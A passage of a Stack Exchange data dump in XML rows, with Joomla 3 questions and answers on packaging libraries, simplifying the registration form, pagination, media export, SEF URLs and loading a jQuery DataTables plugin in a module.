I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;packed my rendering library.&lt;/li&gt;&#xA;&lt;li&gt;installed it. that works. Now, how could I actually use it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3626" LastEditorUserId="3626" LastEditDate="2015-01-31T16:25:15.667" LastActivityDate="2015-02-01T18:38:14.133" Title="Build installation package for library" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7382" PostTypeId="2" ParentId="7381" CreationDate="2015-01-31T11:27:20.090" Score="3" Body="&lt;p&gt;You will need to combine the component and library into a package type extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So create a new XML file and make sure the type it set correctly like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;package&quot; version=&quot;3.0&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you need to define what extensions will be installed within the package like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&quot;packages&quot;&amp;gt;&#xA;   &amp;lt;file type=&quot;component&quot; id=&quot;com_helloworld&quot; &amp;gt;com_helloworld.zip&amp;lt;/file&amp;gt;&#xA;   &amp;lt;file type=&quot;library&quot; id=&quot;helloworld&quot;&amp;gt;lib_helloworld.zip&amp;lt;/file&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on this, have a read of the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Package&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-31T11:27:20.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7383" PostTypeId="2" ParentId="7381" CreationDate="2015-01-31T11:29:10.573" Score="1" Body="&lt;p&gt;It is not a best practice to add your classes into a existing directory. In future, the owner might overwrite it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, lilbraries are installed at /libraries and auto-loaded when needed.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-31T11:29:10.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7384" PostTypeId="2" ParentId="7373" CreationDate="2015-01-31T14:26:52.517" Score="2" Body="&lt;p&gt;Using PHP, you can get the current language in Joomla like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$current = $lang-&amp;gt;getTag();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use an if-else statement to display localized title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ($current == &quot;en-GB&quot;) { &#xA;      // English title here&#xA;  } &#xA;  elseif ($current == &quot;es-ES&quot;) { &#xA;      // Spanish title here&#xA;  }&#xA;  elseif ($current == &quot;nb-NO&quot;) { &#xA;      // Norwegian title here&#xA;  }&#xA;  else { &#xA;      // Default title here (in case none of the above matches)&#xA;  } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code can be used in your templates &lt;code&gt;index.php&lt;/code&gt; file, in a module that supports PHP code (e.g. &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;), or in any module using &lt;a href=&quot;http://extensions.joomla.org/profile/extension/core-enhancements/coding-a-scripts-integration/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt; to include the PHP code.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-31T14:26:52.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7385" PostTypeId="2" ParentId="7046" CreationDate="2015-01-31T16:40:33.247" Score="1" Body="&lt;p&gt;There is no pure CSS-solution to it, that's for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, there is more than one solution actually:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the lightest way, especially if not every article is concerned, would be to write down your intro, close the div, put the read-more button and copy your introduction again after the read more-button, configuring the article to not show the introduction text when displaying the whole article.&lt;/li&gt;&#xA;&lt;li&gt;you also could, if every article of your site or of a specific menue-item is concerned, override the com_content templates and hard-code the closing tag in it. It's not very beautiful, though&lt;/li&gt;&#xA;&lt;li&gt;you could create your own plugin, in order to be able to write something like {myReadMore} in your article instead of using the built-in readmore.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your case, I don't really understand why it's so important to have the read-more within the first div. Maybe you should see if putting it &lt;em&gt;after&lt;/em&gt; the closing tag isn't exactly what you look like.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-01-31T16:40:33.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7387" PostTypeId="2" ParentId="5713" CreationDate="2015-01-31T18:43:42.393" Score="2" Body="&lt;p&gt;If you have got the com_content plugin enabled for Xmap, it will list all items on the menu you have selected - if you are pointing at a category blog or list view on one of your menu items (e.g. English&gt;Information) then each article within English&gt;Information will be featured on the sitemap.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you take a look at the front-end view to see the structure?  That might also help figure out why it's outputting in the way you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL you're showing looks like it's coming from the category configuration, with the 2- coming from the category ID - are you using any SEF extensions at all, as these will sometimes interfere, and have options whereby you can choose to show the category and article ID within the URL string.&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2015-01-31T18:43:42.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7389" PostTypeId="2" ParentId="5735" CreationDate="2015-01-31T18:53:22.853" Score="2" Body="&lt;p&gt;Have you set up your site to be multilingual - i.e. separate menu for each language with corresponding and linked articles?  What settings do you have on the multilingual side of things - e.g. the language filter plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this article helps: &lt;a href=&quot;https://support.google.com/webmasters/answer/182192?hl=en#1&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/webmasters/answer/182192?hl=en#1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site is properly set up to use multilingual and is working, I wouldn't worry too much about what happens when you're trying to crawl as Google, unless you're seeing errors in Webmaster Tools?&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2015-01-31T18:53:22.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7390" PostTypeId="2" ParentId="7381" CreationDate="2015-01-31T19:10:14.690" Score="2" Body="&lt;p&gt;OK, I found a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the simplest way to make it accessible is to write your library.xml in order to make it a mere addon to jdocument. In my case, wanting to do a PDF renderer, my library structure was as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lib_pdfrenderer&#xA;|--pdf.xml&#xA;|--document&#xA;   |--pdf&#xA;      |--pdf.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my pdf.xml as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;library&quot; version=&quot;3.x&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;PDF rendering addon&amp;lt;/name&amp;gt;&#xA;    &amp;lt;libraryname&amp;gt;joomla&amp;lt;/libraryname&amp;gt;&#xA;    &amp;lt;author&amp;gt;...&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;...&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU LESSER GENERAL PUBLIC LICENSE Version 2&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;...&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Addon to enable JDocument to render PDF&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;document&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, this does exactly what I did manually before: it installs the library into the vendor folders. Not the best way I'm sure, but I couldn't figure out something else&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-01-31T19:10:14.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7392" PostTypeId="1" CreationDate="2015-02-01T04:17:39.887" Score="17" ViewCount="7972" Body="&lt;p&gt;First, I am aware of this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14799733/remove-name-field-from-joomla-registration-form&quot;&gt;https://stackoverflow.com/questions/14799733/remove-name-field-from-joomla-registration-form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the link in it's answer is dead, and the file path mentioned doesn't exist in the latest Joomla (version 3.3), so the answer is of no use whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is simple:  The registration form for Joomla looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oyD1Y.png&quot; alt=&quot;registration image default&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to ensure the registration process is as simple as possible for my users so they actually complete it, and there's some problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't need to know the user's real name.&lt;/li&gt;&#xA;&lt;li&gt;I'd rather not have &quot;confirm&quot; boxes.  The general consensus is that they're not necessary.  &lt;a href=&quot;https://ux.stackexchange.com/questions/484/is-a-repeat-password-field-necessary-in-a-signup-page&quot;&gt;https://ux.stackexchange.com/questions/484/is-a-repeat-password-field-necessary-in-a-signup-page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Everything is required, why bother marking required fields?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Surely this is a far better registration page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V9RDe.png&quot; alt=&quot;better registration image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified the file &lt;em&gt;\components\com_users\models\forms\registration.xml&lt;/em&gt; to make the form look like what I want, and it worked!  But whenever I submit the form, the validation still looks for the missing fields, so it informs me that I need to supply a name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Registration failed: Please enter your name.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I disable the checks for the name field, as well as the two confirm fields?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a name is required, I'd like to set the name to the provided username (so username and name are the same by default).  If the user actually wants to go set a real name in their profile page &lt;em&gt;after&lt;/em&gt; registration, they should be able to, but it shouldn't be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I going about this the wrong way?  I've read in some places that modifying core Joomla files is not good, as it could break in an update, and that &quot;overrides&quot; should be used instead.  Usually these responses simply link to Joomla's page on overrides, and provide no farther explanation about how to use them to do what the asker wants.  I've tried to figure them out, but can't, so if overrides are the way to go, please explain how I would go about doing this with them, rather than just linking to the override tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd greatly appreciate any help you can provide, I've been trying to figure this out for a few hours now!&lt;/p&gt;&#xA;" OwnerUserId="3630" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2023-12-16T00:38:41.063" Title="Joomla Registration: Remove unneeded fields" Tags="|joomla-3.x|registration|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7393" PostTypeId="2" ParentId="7392" CreationDate="2015-02-01T13:48:28.133" Score="9" Body="&lt;p&gt;Ok so I was thinking about an approach without having to core hack anything or install any 3rd party extensions. My method will involve a &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot;&gt;Template Override&lt;/a&gt; which you will need to make for the &lt;strong&gt;com_users&lt;/strong&gt; component, specifically the &lt;strong&gt;Registration&lt;/strong&gt; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the fields (assuming your template override is all setup), we won't be removing them, but instead hiding them as the controller and modal require data from them. So open the following file that is now your template override:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/html/com_users/registration/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and add the following code near the top of the file just after &lt;code&gt;JHtml::_('behavior.formvalidation');&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$js = &quot;&#xA;        jQuery(document).ready(function($){&#xA;&#xA;            // Define the variables&#xA;            var regForm     = $('#member-registration');&#xA;            var name        = regForm.find('#jform_name');&#xA;            var password    = regForm.find('#jform_password1');&#xA;            var password2   = regForm.find('#jform_password2');&#xA;            var email       = regForm.find('#jform_email1');&#xA;            var email2      = regForm.find('#jform_email2');&#xA;&#xA;            // Hide the required field, star, name, confirm pass and confirm email&#xA;            regForm.find('.spacer').parents('.control-group').hide();&#xA;            regForm.find('.star').hide();&#xA;            name.parents('.control-group').hide();&#xA;            password2.parents('.control-group').hide();&#xA;            email2.parents('.control-group').hide();&#xA;&#xA;            // Add a default value to the name field&#xA;            name.val('Anonymous');&#xA;&#xA;            // Clone password and email values to the confirm fields&#xA;            email.on('keyup', function() {&#xA;                email2.val( this.value );&#xA;            });&#xA;            password.on('keyup', function() {&#xA;                password2.val( this.value );&#xA;            });&#xA;&#xA;        });    &#xA;    &quot;;    &#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added in some comments so you know what each snippet of code is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-01T15:51:47.873" LastActivityDate="2015-02-01T15:51:47.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7394" PostTypeId="1" AcceptedAnswerId="7396" CreationDate="2015-02-01T17:25:28.180" Score="1" ViewCount="3657" Body="&lt;p&gt;I am closing down my website which has a large archive of photos and video in the media section and want to be able to a copy of the photos and videos and put them into DropBox or such. Is there a quick and easy way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="3633" LastActivityDate="2015-02-01T17:31:44.930" Title="How can I export my joomla website media?" Tags="|content|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7395" PostTypeId="1" CreationDate="2015-02-01T17:28:21.760" Score="2" ViewCount="726" Body="&lt;p&gt;20150203 - Title changed from 'JModelLegacy returns 0 items when setting limit 0 and limitstart &gt; 0' because title did not fit anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a component and after debugging a while I found a very strange phenomenon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my frontend you can set a pagination limit to see a defined limit of items. Everything looks fine at the first sight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under several circumstances I got back zero items. Thats why I started debugging the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Legacy Model of Joomla &lt;code&gt;\libraries\legacy\model\legacy.php&lt;/code&gt; there is a function &lt;code&gt;_getList($query, $limitstart = 0, $limit = 0)&lt;/code&gt;, which is responsible for initiating the query and returning the results. And here is my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If $limitstart has a value &gt; 0 and $limit = 0, then no items will be returned. This problem arises when you switch with the pagination to the last site. The limit will be set to 0, because there is no limit any more. Only the last results should be shown, eg. $startlimit = 15 and $total = 18, but the mentioned function returns 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong here? Can anybody help?&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2015-02-03T15:28:36.327" LastActivityDate="2015-02-03T15:28:36.327" Title="Pagination manual override in model returns 0 items" Tags="|joomla-3.x|component|pagination|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7396" PostTypeId="2" ParentId="7394" CreationDate="2015-02-01T17:31:44.930" Score="2" Body="&lt;p&gt;I would say keep things very simply by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to the File Manager via your hosting control panel and zip up the folder inside the &lt;strong&gt;media&lt;/strong&gt; directory that contains your assets. Or possibly have 2 separate zip files for images and videos. Whatever suits you best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your host does not provide you wish a File Manager, then you can download the folder to your computer via FTP instead, but will be a little slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, simply upload the zip file to Dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say this is quicker than using any dropbox component for Joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-01T17:31:44.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7397" PostTypeId="2" ParentId="7395" CreationDate="2015-02-01T18:22:29.300" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;The limit will be set to 0, because there is no limit any more.&lt;/em&gt; - FALSE!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$limit&lt;/code&gt; should never be 0. Limit is the maximum number of records to be returned, so it cannot be 0. If you keep browsing through pages, the limit won't change, even for the last page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you have something misconfigured or you are setting it on purpose to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making some assumptions here and I am guessing what could the issue be. As you cannot directly use the Legacy class, I assume you are actually using / inheriting from &lt;code&gt;JModelList&lt;/code&gt; calling the method &lt;code&gt;getItems()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_getList($query, $this-&amp;gt;getStart(), $this-&amp;gt;getState('list.limit'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is a call to a state variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;getState('list.limit')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check that this state variable is set and have a value different from null or 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-01T18:22:29.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7398" PostTypeId="2" ParentId="7381" CreationDate="2015-02-01T18:38:14.133" Score="1" Body="&lt;p&gt;I had the same problem as you some time ago. Here are some tips:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ostraining.com/howtojoomla/how-tos/development/how-to-package-joomla-libraries/&quot; rel=&quot;nofollow&quot;&gt;How To Package Joomla Libraries&lt;/a&gt; - a nice and short example written by Joseph LeBlanc. &lt;/li&gt;&#xA;&lt;li&gt;The outcome of my experience: github repository for the &lt;a href=&quot;https://github.com/vdespa/PHPExcel-Joomla-Library&quot; rel=&quot;nofollow&quot;&gt;PHPExcel Library for Joomla!&lt;/a&gt; which includes installation and also autoupdater using Joomla.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-01T18:38:14.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7400" PostTypeId="1" CreationDate="2015-02-02T00:09:55.693" Score="0" ViewCount="712" Body="&lt;p&gt;Let me try and explain this as best I can. I am building a custom component that is used to manage a group of shows, just one component and each show is an item within this component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's take &quot;Blacktown Show&quot;, within the component a user gets assigned to each of the roles, ie president, secretary and treasurer. Again let's take users 1, 2 and 3 are part of the executive of that show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end each show will have its own page. I have created a permission of edit.own.show Which will see if the logged in user is associated with the show and if they are it will allow editing on the front end only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My trouble is the media manager, will the media manager allow me to install a folder in images called Blacktown when the Blacktown show is created then if the user has permission to edit their own show it will only allow them to upload and change images in the Blacktown folder? I'm not sure how to assign permissions in the media manager for this situation because it's still the same component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help?&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2015-02-02T00:09:55.693" Title="Joomla 3 Media Manager Permissions" Tags="|joomla-3.x|acl|media-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7401" PostTypeId="1" AcceptedAnswerId="7402" CreationDate="2015-02-02T00:34:35.383" Score="4" ViewCount="590" Body="&lt;p&gt;In sh404sef url manager I noticed that a sef url had been created for a page I had no menu item for. The non-sef url was &lt;code&gt;index.php?option=com_content&amp;amp;id=27&amp;amp;lang=en&amp;amp;view=category&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've since created new categories and found corresponding non-sef urls, so it seems Joomla is automatically creating these links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway just to be sure, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;does Joomla automatically create a non-sef url when a category is&#xA;created?&lt;/li&gt;&#xA;&lt;li&gt;If yes, (this might seem like blasphemy, but ) is there a way to&#xA;prevent this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MISC&lt;/strong&gt;&#xA;The reason I'd want to prevent the non-sef url is because in the past I've sometimes created articles for use as category pages. Again probably blasphemy because I should probably be using a layout override??&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-12-05T19:20:29.140" Title="Does Joomla 3 automatically create a non-sef url when a category is created?" Tags="|joomla-3.x|category|non-sef-url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7402" PostTypeId="2" ParentId="7401" CreationDate="2015-02-02T00:47:56.107" Score="5" Body="&lt;p&gt;It is best to not think of Joomla as &quot;creating these links&quot; and instead recognizing that there are a variety of urls that Joomla can understand and load a page from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The non-sef url represents the variables that any SEF url gets translated into. The only piece that is missing from your url would be an &lt;code&gt;Itemid&lt;/code&gt; which corresponds to the menu item id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't actually used any solution to try to prevent these types of urls from working. Your best bet is to actually check for the url early in a page load (probably using a system plugin), pass the url through JRoute (which will convert it to a search engine friendly url if possible and enabled), and then redirect to that url if the urls don't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should not be done for POSTs (since the post data would be lost in the redirect most likely) and may lead to some weird issues possibly (not sure that JRoute is always super precise, so you may get multiple answers for similar urls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there may already be plugins like this one &lt;a href=&quot;http://extensions.joomla.org/profile/extension/site-management/seo-a-metadata/canonical-url&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/profile/extension/site-management/seo-a-metadata/canonical-url&lt;/a&gt; that do something similar. (Never tried this one, just googled a touch.)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-02T00:47:56.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7403" PostTypeId="2" ParentId="7392" CreationDate="2015-02-02T00:55:34.030" Score="14" Body="&lt;p&gt;Ideally, this will all be done in a user plugin. I'm not sure that a lot of people realize this, but you can edit the form from a plugin (no core hack required).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, the plugin will see the input before the model attempts to save the entry, so you can mock some of the field duplication fields to force it to pass the validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fuction in a &quot;users&quot; plugin allows you to alter the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form, $data)&#xA;{&#xA;    if (!($form instanceof JForm))&#xA;    {&#xA;        $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;        return false;&#xA;    }&#xA;&#xA;    // Check we are manipulating a valid form, &#xA;    // may also want to check whether this is frontend or admin depending on where all you want to affect&#xA;    // JFactory::getApplication()-&amp;gt;isAdmin()&#xA;    $name = $form-&amp;gt;getName();&#xA;    if (!in_array($name, array('com_admin.profile', 'com_users.user', 'com_users.profile', 'com_users.registration')))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // remove fields on frontend&#xA;    if (!JFactory::getApplication()-&amp;gt;isAdmin()) {&#xA;        $form-&amp;gt;removeField('password2');&#xA;        $form-&amp;gt;removeField('email2');&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use an onUserBeforeSave function to reset any of the fields that you need to reset to pass validation. (This may not be totally necessary, so try without and see what errors you get.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onUserBeforeSave($user, $isnew, $new) {&#xA;    $user['password2'] = $user['password1'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-02T00:55:34.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7405" PostTypeId="1" CreationDate="2015-02-02T06:33:40.547" Score="-3" ViewCount="138" Body="&lt;p&gt;I'm trying to put a jQuery pluin in a module which I have developed. When I do it, it doesn't work. The code where I put this labels is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;   // no direct access&#xA;   defined('_JEXEC') or die;&#xA;   JHtml::_('stylesheet', JUri::root . 'modules/mod_k2_users/tmpl/Default/DataTables-1.10.4/media/css/jquery.dataTables.css');&#xA;   JHtml::_('script', JUri::root . 'modules/mod_k2_users/tmpl/Default/DataTables-1.10.4/media/js/jquery.dataTables.js');&#xA;   JHtml::_('jquery.framework');&#xA;   $params = K2HelperUtilities::getParams('com_k2');&#xA;   $limitstart = JRequest::getInt('limitstart');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;   jQuery(document).ready(function() {&#xA;   jQuery('#tUsuarios').dataTable( {&#xA;    &quot;searching&quot;:true,&#xA;    &quot;paging&quot;:   true,&#xA;    &quot;ordering&quot;: true,&#xA;    &quot;info&quot;:     false&#xA;   } );&#xA; } );&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&#xA; &amp;lt;div id=&quot;k2ModuleBox&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot; class=&quot;k2UsersBlock&amp;lt;?php if($params-&amp;gt;get('moduleclass_sfx')) echo ' '.$params-&amp;gt;get('moduleclass_sfx'); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;table id=&quot;tUsuarios&quot; class=&quot;display&quot;&amp;gt;&#xA;     &amp;lt;thead&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;&#xA;        &amp;lt;th&amp;gt;Nombre&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Nivel&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;País&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Votos&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Skype&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Hangaout&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Facetime&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Correo&amp;lt;/th&amp;gt;&#xA;&#xA;     &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;   &amp;lt;tbody&amp;gt;&#xA;&#xA;       &amp;lt;?php foreach($users as $key=&amp;gt;$user): &#xA;&#xA;&#xA;    ?&amp;gt;&#xA;      &amp;lt;tr class=&quot;&amp;lt;?php echo ($key%2) ? &quot;odd&quot; : &quot;even&quot;; if(count($users)==$key+1) echo ' lastItem'; ?&amp;gt;&quot;&amp;gt;&#xA;       &amp;lt;td&amp;gt; &#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Nombre); 